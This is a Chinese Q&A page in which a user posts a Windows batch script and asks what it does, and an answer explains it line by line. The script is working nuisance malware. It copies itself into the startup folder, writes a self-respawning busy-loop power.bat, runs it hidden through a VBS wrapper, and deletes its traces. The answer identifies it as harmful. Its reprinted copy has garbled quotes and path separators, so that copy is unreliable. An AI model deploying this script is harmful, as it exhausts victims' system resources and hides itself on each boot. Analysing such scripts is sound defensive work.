这段BAT代码是什么意思？

Question

@echo off
if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat">nul
echo @echo off>%windir%\power.bat
echo if "%%1"=="" goto :end>>%windir%\power.bat
echo if exist C:\_stop goto :EOF>>%windir%\power.bat
echo start /B %%~fs0 exp>>%windir%\power.bat
echo :s>>%windir%\power.bat
echo if not exist C:\_stop goto s>>%windir%\power.bat
echo exit>>%windir%\power.bat
echo :end>>%windir%\power.bat
echo del %%~fs0>>%windir%\power.bat
echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs
echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs
WScript %windir%\power.vbs
del %windir%\power.vbs
set p=%~ps0
if not %p:~-3,2%==启动 del %~fs0
快点 急啊~！！！！！！！！！！！！

Answer 1

::关闭回显
@echo off

::如果开机启动没有power.bat，那么将本批处理copy到开机启动文件夹中，命名为power.bat
if not exist “%HOMEPATH%..All Users「开始」菜单\程序启动\power.bat” copy %~fs0 “%HOMEPATH%..All Users「开始」菜单\程序启动\power.bat”>nul

::在windows安装文件夹下新建power.bat，power.bat的作用是
echo @echo off>%windir%power.bat
echo if “%%1〃==”" goto :end>>%windir%power.bat
echo if exist C:\_stop goto :EOF>>%windir%power.bat
echo start /B %%~fs0 exp>>%windir%power.bat
echo :s>>%windir%power.bat
echo if not exist C:\_stop goto s>>%windir%power.bat
echo exit>>%windir%power.bat
echo :end>>%windir%power.bat
echo del %%~fs0>>%windir%power.bat

::在%windir%下新建power.vbs
echo set ws=CreateObject(”WScript.Shell”)>%windir%power.vbs
echo ws.Run “%windir%power.bat exp”,0 >>%windir%power.vbs

::运行power.vbs
WScript %windir%power.vbs

::删除power.vbs
del %windir%power.vbs

::给变量p赋值为本批处理所在文件夹的短文件名格式
set p=%~ps0

::如果变量p的倒数2、3个字符不是启动，则删除本批处理
if not %p:~-3,2%==启动 del %~fs0

下面说一下power.bat和power.vbs
power.bat的作用是检查c:\_stop文件是否存在，如果不存在，那么会进入一个死循环，直到你的系统资源耗尽。看起来不是什么好东东

::关闭回显
@echo off

::如果%1值为空，跳转到标签end
if “%1〃==”" goto :end

::如果存在文件c:\_stop，跳转到文件末尾，即退出power.bat
if exist C:\_stop goto :EOF

::再次启动本批处理，并令%1为exp
start /B %~fs0 exp

::标签s
:s
::如果不存在文件c:\_stop，跳转到标签s，
if not exist C:\_stop goto s
::退出
exit

::标签end
:end
::删除本批处理
del %~fs0

power.vbs的作用是以隐藏的方式运行命令”%windir%power.bat exp”